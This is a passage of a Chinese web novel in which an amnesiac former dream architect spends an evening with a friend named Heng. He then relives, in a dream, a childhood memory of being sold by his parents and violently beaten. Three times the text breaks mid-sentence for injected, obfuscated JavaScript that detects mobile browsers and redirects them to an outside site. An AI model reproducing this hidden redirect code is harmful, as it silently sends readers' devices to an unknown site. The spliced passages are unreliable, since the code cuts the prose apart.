珩在9:01给我回了个微信默认大拇指表情包,之后她说:“你赶紧追着那点光去,看看能不能再找到点什么?” 追不了,找不到,因为我在发完信息之后的三分钟,就翻个身又睡过去了。这个光点目前的状态是“存在”,我确认它亮过,但是它像一滴掉进大海里的水,就这样淹没在我庞大而空旷的大脑里。加上社区活动中心老人家们的微信之后,我每天都要收到一堆你转发我我转发你的中老年表情包和养生视频,我回都回不过来。看到她发的大拇指,我差点以为又是哪个老人家的周末早上群发打招呼,险些一顺手就划过去没点开看。 我点开珩的主页,她的微信头像是社区活动中心长者饭堂的开饭时刻表,昵称叫“水厂街长者饭堂订饭”,我微信里就没多少好友,我也懒得给人备注。思考了一下,我郑重地给她备注了一个“珩”。再思考了一下,我把她的聊天置顶了。 虽然我现在都在家里自己训练,但我还是和以前一样,每天下班之后就去社区活动中心帮忙。我以前的脑子肯定是相当十分极其的好用,社区活动中心里的阿叔阿姨阿伯阿婆,每天来来往往那么多人,我每个人都认得。记住每个人的相貌,名字,乃至喜欢什么菜,饭量有多大,爱坐哪个位置,甚至喜欢的歌手,支持的球队……完全没有难度。每个人细微的表情,相比于前一天细小的变化,藏匿在心里不表露的喜恶,所有东西在我眼里都看得清清楚楚。我的大脑甚至只是恢复了一小部分。珩说以前的我是个危险的人,他危不危险我不知道,至少他应该是个很讨人喜欢的人。这样的双商和观察力,他在哪里都能对普通的人形成降维打击,他也许冷酷、恶劣,甚至残忍,但只要他想,伪装成一个善解人意,温柔体贴的年轻人,就是一件易如反掌的事。 但我想起我第一次看见他的情景——他神情紧绷,目光冰冷,一看就是个不快乐的人——说实话我很好奇他到底经历了什么,做了四年智力平平人类的我,并不能切身处地地体会,像他这样一个人,能有什么不快乐的。 他的智力对于我平淡的日常生活来说,有点过于多了,和他的智力一同觉醒的是他筑梦师的习惯,我近来一直在不由自主地观察周围的人,包括珩。 19. 丁书记 她和以前的我大概很是相似,她天天在社区活动中心剪草浇花,给老人做点心,陪他们打牌做手工,带他们打太极。这种工作简直不需要动用她那深不见底的智慧,她因此每天都像游离在人间之外,无声地观察着芸芸众生。 虽然之前她和我聊天,偶尔会让我感觉到,她更乐意现在在她面前的是我,而不是聪明但危险的他。但有个讨厌的念头在我上空盘旋——假如我是他,假如我没有失忆,假如我还是那个顶尖的天才筑梦师,她会不会因此和我成为知交,而不是现在这样,虽然每天都见到对方,但我连她全名叫什么,其实都不知道。 这个念头很讨厌,但我控制不住,当我这一天捧着巨重无比的汤煲,从厨房里走出来,目光不自觉瞥到她时,乱糟糟的想法又冒出来了。她看了今天的菜一眼,平时对什么看起来都兴趣不太大的她,今天兴趣更加寡淡。她非常挑食,讨厌鱼和虾,不吃茄子,对茼蒿情有独钟。我像记得每个人的饮食习惯一样记住了她的,但属于现在这个我的,细腻敏感甚至有些瞻前顾后的内心,它悄悄地告诉我,她是不一样的。 我也弄不清楚,我这讨好型人格到底是天生的还是后来被强行设定的,我知道我肯定是有点在意她了,可能因为梦是很私密的领域,她曾经走进过我心里那些不愿意开放给外人的隐秘角落,我会有种错觉,好像……好像她和我很亲密,好像她对我来说,是个很重要的人。我并不知道怎么跟一个“重要”的人相处,我怕我对她过于疏离,又怕我突破了她舒适的社交距离。 这时候我适时地想起了路老师的话。比我更多愁善感比我更讨好型人格的他在两周之前,人生头一次拥有了一个亲密的爱人。他说,原来和重要的人相处,比和不重要的人相处要舒服多了。因为“在意”是一种可见的感情,对方能明确地感受到,假如她同样地在意你,她会天然地用一种包容的态度对待你,这种“重要”是心灵上的亲密,而不是地位上的仰视,她不会和你的领导一样,一句话不说但又要求你察言观色,你鞍前马后他还对你吹毛求疵。 他的经验用在我这里有些不太适配,毕竟珩跟我并不算很亲密,而且她凶起来的时候远胜于我的领导——不是,我又分心了——我想说的是,我应该像和路迢相处一样和她相处,至少我该放轻松点,她跟我相处肯定一点都不累,因为她神经极其大条,或是对我并没有很在乎,但我有点累了,上次被关下水道,醒来之后那半个小时真是太煎熬了,如果我的讨好型人格是后天设定的,我在这里必须郑重地辱骂一下设定我的人。 我把汤煲放下,走到她旁边,懒惰如她,虽然饭菜不合胃口,她也会因为懒得再想吃什么,而选择用汤泡白饭,凑合解决一顿。 我小声问她:“要不要出去吃饭?” 她看一眼自己手里刚盛好的汤泡饭,抬头看我,然后看一下周围正在埋头吃饭的老人,和他们后面墙壁上挂着的“光盘行动”宣传牌。 我把她手里的饭接过,一仰头咕咚咕咚喝掉了。 我拿手背擦擦嘴,又问了一次:“要不要出去?” 我说带她去我学校附近一家很好吃的煲仔饭,学校附近何止有煲仔饭,一路上全是糕点店炸串店小吃店。她家在学校的反方向,看她这个睡醒就骑车来社区活动中心,下班就回家睡觉的行动轨迹,此前大概不怎么到过这边来。在还没认识她的四年里,单身寡佬如我,下班之后就总在这一带解决晚饭。 “这个店的花生酥巨好吃,十块钱一斤,每天都像这样排长队的,你吃不吃?它六点半开门,你吃的话我上班之前给你买。” 她还没回答,我又看见远处一个卖烤面筋的走鬼档:“这个烤面筋非常好吃,不过路迢肠胃不行,无福消受,他吃了就拉肚。你肠胃怎样?” “这家也好吃,手撕鸡米线必点,六点半左右就会被学生买完!” “这个这个——” 明明她才是那个第一次来这边活动,看什么都新奇的人,现在倒是我像个猴子一样上蹿下跳指东指西大呼小叫。她那一刻看我的眼神有点像看多动小孩浩仔:“所以我们吃哪家?” “煲仔饭。”我斩钉截铁地回答,“煲仔饭是五中附近地带毋庸置疑的第一名,我对它的忠诚永不动摇。” …… 事实证明男人的嘴是不可信的,我半路上还是被一家卖奶茶小吃的店留住了。 “这家章鱼小丸子好吃,尝尝?” 她的眉头又轻微地抽了一下:“章鱼?” 我想起她不吃鱼和虾:“你不会是海鲜过敏吧?” “不过敏,我只是吃腻了。” “什么?”我失笑,“你是什么大户人家富家千金吗?吃海鲜吃腻了?” “不是大户人家,我只是小时候住在海边。” “我小时候也住海边啊!” 最后因为章鱼小丸子实在太香,我怂恿珩尝尝,我说“整个丸子里只有指甲盖大的一块章鱼其他全是粉”,企图说服她吃,成功引来正在做丸子的店员一个白眼。大热天的,我买完小丸子就忍不住点奶茶,我问珩要喝什么,珩居然问我牌子上的都是什么。震撼,实在是震撼,她果然是个世外高人,十几岁的年轻女生,居然没喝过奶茶,活该她这么苗条。 章鱼小丸子还在制作中,我和珩一人捧一杯冰奶茶,在店里坐下。这家店是五中恋爱圣地,里面坐着好几对穿着校服偷摸出来约会的小情侣,我和珩坐在吧台前面,吧台那边是一大面墙,上面扎满了五颜六色的便利贴,学生们在上面写愿望,什么“XX大学”,什么“X大在等我”,还有好多“ZYYloveKLM”之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020222|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的。我没有十几岁青春的记忆,而且我想以前那个不高兴的我,估计也没有什么甜甜的恋爱经历。我瞄一眼旁边的珩,她大概也是这样。她看便利贴上的字看得好专心,好像在进行什么人类观察活动。 五中虽然学习成绩一般般,但是查早恋查得很严,虽然路迢这样的年轻老师不太管,上一辈的老师还是十分忌讳这种事。店里有对情侣好像是路迢他们班的,两个小孩认得我,一看见我来,表情明显凝了一秒。但他们看见我旁边的珩,她看起来和他们差不多年纪,大概他们以为我跟其他学校的高中生谈恋爱,在道德上我比他们罪更大,因此他们瞬间就有了底气,两个人你亲我脸我亲你脸,完全无视我。 珩身上有种与人类社会格格不入的坦荡,她就这么直直地看他俩亲来亲去,然后问我:“你们学校不管早恋?” 她的声音对于偷摸约会的学生来说有点太大了,店里三对情侣像被踩了尾巴,马上都看了过来。 我对他们摆摆手:“学校管,我不管。” 几个人得到我的不告状保证,又继续你侬我侬卿卿我我了。 我和珩一边喝奶茶一边看墙上的留言条,店里三对小情侣在说说笑笑,后面的章鱼小丸子快好了,表面的油发出滋滋的响声,店里全是小丸子的香味。珩心情不错,听到后面奶茶店小哥叫号,她从吧台的高脚凳上跳下来,拿着热腾腾的章鱼小丸子向我走来。其他几个学生跟在她后面拿新鲜出炉的章鱼小丸子,整个店里都充满了温暖而舒适的空气。门外人来人往的,忽然之间,店里像是有一盏看不见的灯被关掉了,闲适自在的氛围瞬间凝住。我敏锐地感觉到我后面几个学生的目光扫向门外,之后他们迅速地缩回自己的位置,背对门口。 珩显然也感觉到了,她和我一起往门外看去。 门口有个穿着衬衣西裤的地中海男人走过,他看向店里穿校服的几对小情侣,表情十分严肃。 我那一瞬间没有马上想起来他是谁,但他想起来了。他。我胸腔里的他。 前段时间在我的脑海里消失不见的光点忽然亮了,不仅它亮了,黑暗中冒出了好几簇火花,像谁在寂静的黑夜里,偷摸点了几个仙女棒。 然后我才想起来那是谁。 我朝门外挥挥手:“丁书记好!” 奇怪的是,珩和我一样有非常短暂的一下停顿。见我打招呼,她也看向门口,朝地中海男人微笑致意。 地中海点点头,之后走远了。我感觉到我身后的学生们鬼鬼祟祟地回头看,确认他走了之后,他们才继续吃面前的章鱼小丸子。 珩看我一眼。我相信她也留意到了我的异样。 “他是谁?”她问我。 “学校的老书记,姓丁,”我的目光扫过自己的胸口,“他……他好像也认识他。” 20. 关键记忆触发 第五章 明天是星期六,今晚我又要打开那段神秘的海浪录音,不知道被珩推到哪个新的训练场去。我这一睡,又不知道要睡多久,我像个放完假准备开学的学生,今晚开始报复性熬夜,吃完饭回家,我就打开家里的投影仪,掏出手柄开始打游戏。快十二点了,我的手机忽然叮叮当当地响起来。 路老师长年失眠,但自从他谈恋爱以后,这病都好了。也不知道他是好了还是陪女朋友去了,反正以前老是大晚上睡不着拉我打游戏的他,最近大半个月都没再在这种时间节点上冒头。我左手拿着手柄,右手去戳手机,屏幕亮了,我看到锁屏上的提示——珩一连给我发了好几条信息。 吓得我赶紧把手柄扔了,解锁手机,打开微信。 【珩:为什么我睡不着?】 【珩:是什么问题,奶茶?】 【珩:喝了奶茶会睡不着???】 【珩:你睡着了吗?】 十二点,真是可怜她老人家了,作息无比规律的世外高人珩,被我今天买的一杯大杯茉莉奶绿,害得失眠了整整三个小时。 “经本人多次测试,喝了大杯茉莉奶绿,大概会在十二点半左右睡着,对日常生活不会造成什么影响。哦对不起我忘了,您老平时九点睡觉。” 发送。 她是真的失眠了,这个点还捧着手机在看呢,我刚发过去,她的状态就变成了“对方正在输入……”。 【珩:我好像还有点心慌。】 【珩:再也不喝了。】 【珩:虽然确实很好喝。】 【珩:[发怒]】 她一发黄豆人表情我就想笑,不好意思今天是红豆人,愤怒的红豆人。想到世外高人现在已经就她破天荒的失眠,在床上苦恼地滚了三个小时,我的心情就非常的美妙。 游戏里的我已经被爆头了五分钟之久,屏幕上“是否使用复活药水”的对话框晾在那里好一会儿了,我也没想起要点。时间也到了我平时睡觉的点,我把投影仪关了,拿着手机去刷牙。珩是真的没喝过奶茶,咖啡更不用说,她在那里惊讶于她的失眠,之后好奇地询问我一堆关于咖啡因的问题。 【珩:你经常喝?】 【珩:那你是不是反应比我小?】 【珩:你都得十二点半才能睡着,那我今晚还能睡着吗???】 这真是今天最快乐的一件事,今天也轮到我幸灾乐祸了!我从浴室乐到房间,躺在床上给她发信息吓她,跟她说“明天见”,她的表情包里没有能更好地表达愤怒的工具,于是她只好给我发了好多个发怒红豆人。 我这个每天一早就要起来上班的打工人,生物钟极其顽固,虽然喝了一大杯奶茶,时间到了十二点半,我的眼皮很自觉地就开始往下沉。 我拿出我的小音箱,正准备播放人鱼电影院的海浪录音。 手机里还在跳消息。 【珩:你要睡了吗?】 我回复:“嗯。” 【珩:今晚训练?】 我回复……我回复了什么? 很突然地,我睡着了。 大概是太困了,关于睡前的一小段记忆,我有点记不清楚。再睁开眼的时候,我已经在海边的小学里了。今天的小学似乎有些不一样,楼房比以前的新,花园也翻修过,靠海的秋千被拆了,水泥跑道铺上了红色的橡胶粒。这里的布置和以前相比,发生了不少改变,但地方还是这个地方,学校外面是日复一日始终无休止地扑向岸边的海浪,还有咸腥的海风。 我按照我的记忆,往训练场所在的方向去。今天的学校里有人,这时候是课间休息,很多小孩子在走廊上聊天,打闹。奇怪的是,他们好像和我差不多高……我低头看了一眼自己的脚,惊奇地发现那是一双小孩的脚。一双破旧的鞋,一条穿了太多年,磨得光滑发亮,而且长度还不到脚踝的运动长裤,裤腿和鞋之间,是两截晒得黝黑,又瘦得几乎皮包骨头的脚腕。我动了一下自己的左脚,能动,我在控制我自己,这是一段梦境而不是一段记忆。我伸出自己的双手,手很小,特别瘦。这一路上都没有镜子或是可以当镜子的东西,但根据我的四肢和身高判断,这时候的我,年龄估计在十岁上下。 我已经走到珩给我设置的训练场位置,但那里现在是几个普通的教室,没有空间扩展,走廊很窄,而且很短,一眼望到头,也就三个教室。 这时候我留意到,在走廊最尽头的教室前面,站着一个少年。他逆光站着,我只能看见他的剪影,那是一个身姿挺拔,身形修长的少年,我向他走过去,他的脸和身体慢慢从过于明亮的阳光中显现。他的相貌几乎和现在的我一样,只是他比我年轻,比我上次在噩梦里看到的江夷还要年轻一些。他的皮肤比我所在的这个小孩身体要白得多,细嫩得多,虽然看起来依然瘦削,但至少这是一种健康的瘦,是一个正常发育期男孩身体拔高时期的精瘦,不像这个小孩,他完全就是营养不良。 他比小孩要高不少,我不得不仰视他。 他穿着设计简单但整洁利落的深蓝色衬衣和黑色长裤,举止和仪态都十分优雅,眼神中天然地有种从容和克制,虽然他长着一张少年版的我的脸,但他和二十六岁的我,还有我现在控制的这个小孩,好像是三个不同的人。 他轻轻俯身,伸手摸了摸小孩的头。他微微笑着,这是一个礼貌的友善的微笑,但出于一些筑梦师的直觉,这个微笑看起来有点诡异。 他说:“你来啦。” 他是我。 他是十四岁的我。 他几乎在那句意味不明的话之后,就撤掉了我脚下的地面。下坠的时间非常短,我感觉到某颗在我黑暗的脑区里湮灭的火星复又闪了一下,之后我降落到了一个陌生的环境中。 还是在海边。海浪声和海风的味道,跟小学里没有什么区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038310|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我试着侧过脸去看看远处的大海,确认一下我是不是还在同一个海边小镇里。但我动不了。我对这个身体没有控制权,这不是我的梦境,这是我的一段记忆。 我的胃很痛,它持续地在烧灼,翻搅,但这种疼痛大概已经持续了很长的一段时间,我已经适应了,只有它突发地加剧过后,这个小孩才会被疼得抽搐一下。 我很饿,很渴,几乎是很多天没有正经吃过饭。我正沿着村路往家里走,这时候天已经黑了,道路两旁的房屋次第亮起了灯,饭菜的香味时不时飘进我的鼻子里,引起我空无一物的肠胃一阵又一阵的痉挛。 我快死了。我能感觉到。上次在窗外被倒吊的记忆里,有一层沉重的困乏像面纱一样蒙在我的眼前。我的思维明显比正常状态要慢,画面也断断续续的,我想我应该是饿的,血糖太低了,大脑接触不良,电时来时不来,所有东西都不连续,随着我的脚步,一顿一顿的。 我循着记忆到了一处村屋前面。院子的大门虚掩着,但我知道假如我从大门进去,铁门吱呀的声音会惊动屋里的人。我非常熟练地绕到了邻居家和我家之间,从一处栅栏的间隙钻了进去。 屋里有人,从我这个位置可以看见客厅的窗,窗户上贴的窗纸已经上了年头,边角脱胶翘起,发黄的窗纸上透出几个人影,小孩的脑子告诉我,最左边的是我的父亲,中间是我的母亲,右边……右边站起来的高大人影是个陌生人。 小孩很警觉地没有靠近,我看着他躲到侧边杂物房的后面,悄悄地观察屋内的动静。 他们在说话。夜晚的小镇很安静,大门没关上,我可以听到他们说话的内容。 “……他跑了!他还想带着另一个小孩跑,妈的,他不知道那小孩是个弱智!哈哈!”右边那个高大的人骂着骂着忽然大笑起来,之后他那瘆人的笑声又忽然终止,他狠狠地拍了桌子一下,我分明看见窗纸上我妈的剪影颤栗了一下。 “他是不是跑回来了?”那人手撑在桌子上,脸冲着我瑟缩在角落的父母,像一只野兽攻击前的准备姿势。 小孩在害怕,他的心在狂跳,但他很镇定,他站在那里,一点也没动。 “没有,我们也不知道他到哪里去了。”是我爸的声音。 “没有?”高大人影陡然逼近。 “……没有。” 高大人影站直了身,短暂的安静过后,他忽然拿出一把刀,砰地往客厅的木桌上砍去。屋里传来一声女人的尖叫,那是我妈,之后我听见房间里有小孩大哭的声音,那是我弟弟。那是一把肉刀,刀刃已经陷进木桌里,我在外面能看见半把刀的轮廓斜斜地立在桌上。屋里动静太大,我分明听到周围树上栖息的鸟沙沙地飞走了,而邻居家的狗对着不知道在哪里的入侵者,徒劳地大叫了几声。 小孩很镇定,他依然没出来,他悄悄地挪了挪脚步,让自己露在外面的一小截影子也藏到房子的阴影里。 21. 拐卖 “他去哪了我不管,总之我钱已经付了,三天之内,要么给我一个小孩,要么把钱给我!” “没有,没有钱……钱已经用了……” “用哪了?” “药费……孩子肺炎了,还有学费……” 我被关在屋里的弟弟还在大哭,一时间分不清那沙哑的带着哭腔的声音,是来自于他还是来自于我妈。 “那你就把小孩给我!” “没有……没有……” 又是砰地一声巨响,木桌子和上面的东西都被打得一跳。 “没有?你怎么把他弄来的,你就怎么再弄一个小孩来!” 女人跪倒在地,之后哭着摇头:“弄不来……他,他是我自己的孩子。” “你卖给我的是你的亲生儿子?”高大人影又发出那种古怪的笑声,之后他喃喃自语:“妈的,一家子神经病!”而后他忽然转身,把陷在桌子里的刀拔出,横着便抵到了一直坐在一角,一言不发的父亲颈上。那个干瘦的男人吓得像被抽了脊梁骨,身形霎时就委顿下去。 “那你们就他妈的给我还钱!有多少,都拿出来!” 我就站在阴影里面看,屋里一阵兵荒马乱,我妈跑进房间里了,开门的瞬间小孩的哭声变得好大,等她翻墙倒柜,拿着一把钱出来,小心地把门又关上,小孩的哭声又低下去。那男人看了一眼桌上的钱,显然是不满意,又把刀往前抵了一点,我爸的后背已经完全贴在墙上,退无可退,我妈哭着又开始翻,翻,翻。男人看着桌上一堆大大小小的钱币,终于把刀垂了下来,他粗略地点了一下,之后把钱统统抓到自己的口袋里,转身走了。 出门之前他还不忘往桌子上踢了一脚,老旧的桌子扛不住这连番的折腾,砰地被他踹折了一条腿,桌上的茶杯水壶全滑在地上,发出一阵混乱的脆响。 那男人提着刀出来了,他特别高大,院子里没开灯,屋里的灯光低矮,将他的影子拉得很长,像噩梦里才会出现的巨怪。他一边走一边怒气腾腾地骂:“神经病,真是倒血霉了!”骂着骂着,他好像忽然想起了那个走丢的孩子。他扎住脚步,之后开始四处张望。 “没回家?那死小孩还能去哪里,没回家?” 我的心率更快了,同时肠子剧烈地拧了一下,但我没有动。 那个灰熊一样的男人,像在搜寻猎物一样,到处在嗅我的去向。我整个人藏在侧边屋子后面,一动不动,那个人在院子里到处找,一度来到我的面前。他那张凶神恶煞的脸忽然出现在我眼前的黑影里,眼睛亮得可怕,我下意识地要后退,幸好我是在记忆里,我退不了。我的脚下是一些松散的泥土和落叶,我一旦移动,脚下的声响会马上暴露我的位置。 小孩没动。 我不知道他都经历过什么,他的心脏已经几乎要跳到喉咙的位置,对于一个极其饥饿和虚弱的小孩来说,能不被吓晕过去,已经算是奇迹。但他一点没动,我甚至能听到他思考的声音。 他的思维在快速地活动,他在分析自己接下来的行动。 这人是开车进来的,他要是真走了,我会听见引擎声。 听到引擎声之前我都不能动,不能动,他要是回头,我就完了。 我死在这里也不要被他带走。 对,死在这里也不能被他带走。 我就这样站在离他不到一米的地方,看着他将周围都找了一圈,之后愤愤然离开。 我还没听到引擎声,所以我还立在黑暗里等待着。 屋里的人在说话。 “那孩子哪去了,我们,我们要不要去找他?他要是从镇里的公路逃回来,说不定现在在树林里。” 是,我是在路上假装闹肚子,穿过一片树林回来的。 妈妈要找我。 太好了,妈妈要找我。 小孩的心声有点奇怪,我还陷在那个灰熊人引起的恐慌里,他居然开始庆幸,把他卖掉的妈妈还想着找他。 “找他?”刚刚被人拿刀吓得跌在地上的父亲一下子又回了魂,他猛地站起来,刚才一点不敢反抗的手,毫不犹豫地就往我妈的脸上挥了过去。“你给了他多少钱?” 我妈靠在桌上喘气,嗫嚅着说:“两,两千多吧。” “那就是剩了三千。”他说,“五天了吧?你找,你还找得到活口吗?就当便宜卖了算了!” …… 小孩心里那点微弱的星火瞬间熄灭了。但他并不失望,甚至连情绪反应也没有多少,他好像早就料到自己会得到这样一个答案。 远处有引擎声响起。那个人走了。 屋里两个成年人陷入了短暂的沉默,我这里只听得见弟弟的哭声。 过了一阵,屋里传来了我妈的声音。 “对不起。这么多年了,真的对不起……”她带了点哀求的语气,“他都死了,就,就当他死了,我们就当一切都没发生过,重新好好生活,好吗?” 男人冷冷地看着她,并不说话。 她说到一半的话被他冷淡的反应截停了,她一时之间不知道该说什么,两个人又安静了一会儿,她想起了房间里的小儿子。 “对不起,我知道这些年你听了很多闲话。但这都过去了,真的,都过去了。我们也有自己的孩子了——” 我这就被宣布死亡了吗? 我好像被抛弃了。 彻底地被抛弃了。 一个为了回家,可以孤独地走过长达五天的路程的小孩,一个在敌人提着刀来到面前,都能镇定地观望的小孩,在这几个念头浮现的瞬间,心里明显抽痛了一下。我从未体验过这种情绪上的心痛,很奇怪的感觉,像谁要掐死我的心脏,它的血液短暂的断供,之后我疼得抽了一口气,脚下没站稳,失去平衡,往前撞去。 我摔在地上,多日来没怎么进食的我,支撑着身体的这口气没了,人也就没了魂灵,我跌在地上,短暂地眩晕了一下,之后我想站起来,身上一点力气都没有了。 屋里的人听到动静,忽然间又安静了。 我人是动不了了,脑子还在快速地运转。 我是我妈和别人的孩子,爸爸因此被嘲笑了好多年,他找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045967|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的生父,又需要依靠我妈为他养孩子,做家务,所以他所有的怒火,都发在我身上。 我妈怨恨我的生父,同时在事情败露之后,觉得是我的存在破坏了她的好生活,有了小儿子之后,我变得很多余。 他们把我卖了。 我以为我是被拐的,我逃了回家。 假如我回家了的事情被那个拿刀的买家发现,他肯定会来找我们麻烦。 没有一个人希望我回来。 我妈已经从屋里走出来了,躺在地上没有力气爬起身的我,只剩了一个脑子在分析自己的处境。 我该怎么办? 跑,跑,跑啊。 我控制不了他的身体,我被困在这个虚弱的小孩里,承受着他身上的一切伤痛,徒劳地无声喊着。 “谁?” 我妈在叫我。 她不想要我,卖掉我的事情,她是同意的,我不该理她,她也不想我回来。我要跑,我要离开这里! 她发现我了。 她一开始是想找我的。 是爸爸打她她才害怕了。 这小孩简直不可理喻,他在给她找借口!他不会还觉得她是爱他的吧?他怎么想的他怎么想的,她走过来了,我敢用我二十六岁的大脑保证,她肯定不是来救我的!快起来,快走啊! 我对这个身体没有控制权,我怎么喊都没用。 这小孩根本不知道正常的爱是怎样的,他都这样了还对妈妈抱有期待? 但是……我怎么能怪他。他从小就生活在这里,他们两个就是他最亲密的人了。连他们都不爱他,这世上没有人爱他。他抓到一点光,就会高兴地大喊天亮了。 我妈在离我还有几米的地方停住了脚步。她已经认出我了。 “你过来。”她忽然喊我。 那个幼小的我,他已经被刚刚那一摔,摔掉了所有的气力。那一刻特别像要死了,剧痛,从内而外的剧痛,大脑空白,像被断电了一样。他所有的勇气,所有的坚韧,早在逃回来的漫漫长路上,还有刚才和买家的对峙里,完全消耗尽了。虽然明知道眼前这个妈妈对自己不好,但她是他最后的依靠。他瞬间就原谅了她所有的伤害,虽然这个女人对他向来很坏,总是打他骂他,拿他当出气包,甚至把他卖掉,任由一个残暴的人将他带走。 我从地上强撑着要站起来,之后跌跌撞撞地走了过去。 离她还有一段距离的时候,我忍不住哭了。 “妈——” 我看见了她的眼睛。她对于我的出现没有任何喜悦,在她下定决心抛弃我之后,看见我回来,她的眼里甚至有些嫌恶。 我猜都能猜到接下来她会怎么做。 聪明的小孩也猜到了,但他年纪太小,很天真,总是自欺欺人。他几乎在画面出现在他大脑里的那一瞬间,就刻意地把它甩掉。 “你为什么跑?” 她非常冷静地问我这个问题,好像逃跑是我的错。 “我听到他们说要把我们的眼睛卖掉,然后把我们扔到火车站去乞讨……” 22. 少年的陷阱 她好像完全没听到我的回答,或是根本不在乎,她的眼里有种冰冷的东西,那不是一般的愤怒,那是杀意。二十六岁的我虽然忘掉了几乎所有重要的东西,但这样的眼神我记得。在我记忆空白的十年里,我必定多次见过像她这样的眼睛。很疯狂,很冷静,没有激烈的情绪,接下来所有残忍的行动,都出于理智,发自本心。 “你为什么跑!” 她又问了一次。 我愣了一下。 我彻底地不知所措,我下意识地开始道歉:“对不起我错了,我不应该跑的,妈妈,我错了,我不知道这是你们的意思,我以为我是被拐走的,我以为你们都在家里等我,所以我,我……” 我说不下去了。话哽在了我的喉咙。我有什么错?我一点错都没有。在过去的这些年里我已经多次莫名其妙地认错,莫名其妙地道歉,到最后我已经被自己说服,开始认为这一切确实都是我的错。我做得不好,我不是个好孩子,只要我再乖一点事情就会变好了。 我在自欺欺人。 他们要把我的眼睛挖掉,我逃跑有什么错? 这两个念头在我的脑海里闪过,完全出于本能反应的道歉,霎时止住。 等我反应过来我不能停下来的时候,事情已经太晚了。 她不由分说地扯着我的手就把我往外面拖,幼小的我心里爆发出一阵巨大的恐惧,我有一刹那以为我又被拖到图书馆的负一层去了。这种熟悉的,想要挣扎却又怎么都挣脱不了,眼睁睁地看着自己受伤害的恐惧,像一阵分贝过于大的噪音,它几乎撕裂我的大脑,让我脑袋里所有的血管都随之震颤,我不停地喊救命,不停地喊对不起,我喊她,我喊妈妈,我说不要杀我,我说求你了,求你了……她没有半点要松手的意思。 因为我实在太瘦了,她的手扣不紧我的手腕,在我被她拖行了两三米的距离之后,我挣脱了她。 这时候的我已经失去理智,慌不择路,世界只剩了黑暗和光明,我像只飞蛾,只认着亮的地方跑。我看见有人出来,我来不及想那是谁,我像抓到救命稻草一样,扑到他的脚边,我说救命啊,救我,妈妈要杀我,她要杀我。 那个人很沉默。 我抬头看他。 他像甩掉什么脏东西一样,一脚把我甩到了旁边。 余光瞥见他追上来的那一刻,我已经知道他要做什么了。我在过去已经挨过太多次没有缘由的毒打,因而我根本不争辩,我看见他过来,马上就要蜷成一团,抱着自己的头。 但我已经饿了五天,此时一点体力都没有了,我看见他过来,但我躲不掉。 我躺在地上,眼前是一片黑色的天,后面有一截昏暗的黄光,光里一个巨大的黑影,黑影有一双狭窄的,充满怨恨的眼睛,我无处可逃,眼睁睁地看着他靠近,之后,重重地对着我的胸口踢了一脚。 他一点没控制脚下的力度,我听到一声钝响顺着我的骨头,冲上我的脊椎,它填满了我的颅骨,之后在我的头颅里反复回响。肋骨断了,变形移位的骨头戳到跳动的心脏上,它进行到一半的舒张被陡然缩窄的胸腔截住,回流的血液好像堵在心口,之后被紧接着的心脏收缩不管不顾地推了回去。 黑影没走。 他疯了,他疯了,我捂着胸口,在地上抽搐,他居然还不走。 我的心脏每跳一下,都会撞在我变形的肋骨上。我的肠胃在剧烈地收缩,被拖行时被地面磨破的皮肤火烧一般刺痛,但我只注意到我的心脏了。断裂的肋骨像一把刀,它反反复复地戳刺着我的心,只要我不死,只要我的心还在跳,它就会一直这样折磨下去。 有一瞬间,我感觉到周围变安静了。 好像……我被短暂地抽离了出来。 这种感觉很熟悉……我想起了我第一次见珩,她让我带她看我的记忆,我播放我下沉的梦境,在我即将跌出记忆的瞬间,我的周围也像这样变安静了。 记忆到头了。 果不其然,下一秒我就发现,我能动了。 二十六岁的我接管了这个虚弱的身体,我一手捂着心口,一手撑着地面,立刻就要逃跑。我从地上爬起来,后退一步,却在平地上踩空了。 毫无预兆地,我开始坠落。 我确信在我坠落之前,我看到了十四岁的我。 他的手段和珩是完全不一样的风格,珩……她是在教学。她把我往更深一层的梦境推的时候,动作放得很慢,我就像从高楼上,缓慢匀速地往下落,我能感觉到我的后背击穿每一层楼的楼板,她会明确地让我知道,我往下落了多少层,我现在在哪里。但他不是。他把我当成入侵者,要置我于死地。我落得太快,碰到的每一层地板,都在我碰到它的瞬间化作齑粉,那些很少动用,甚至一直在沉睡中的神经元,像失控的烟花爆炸,它们在混乱中起火,爆燃,被瞬时的高温熔化。我的身体只剩下头和心脏,这两个地方都在发出大量的疼痛信号,我好像成了一颗濒死的恒星,他要在让我在一瞬之间燃尽所有的能量,之后消亡。 我还在下坠。 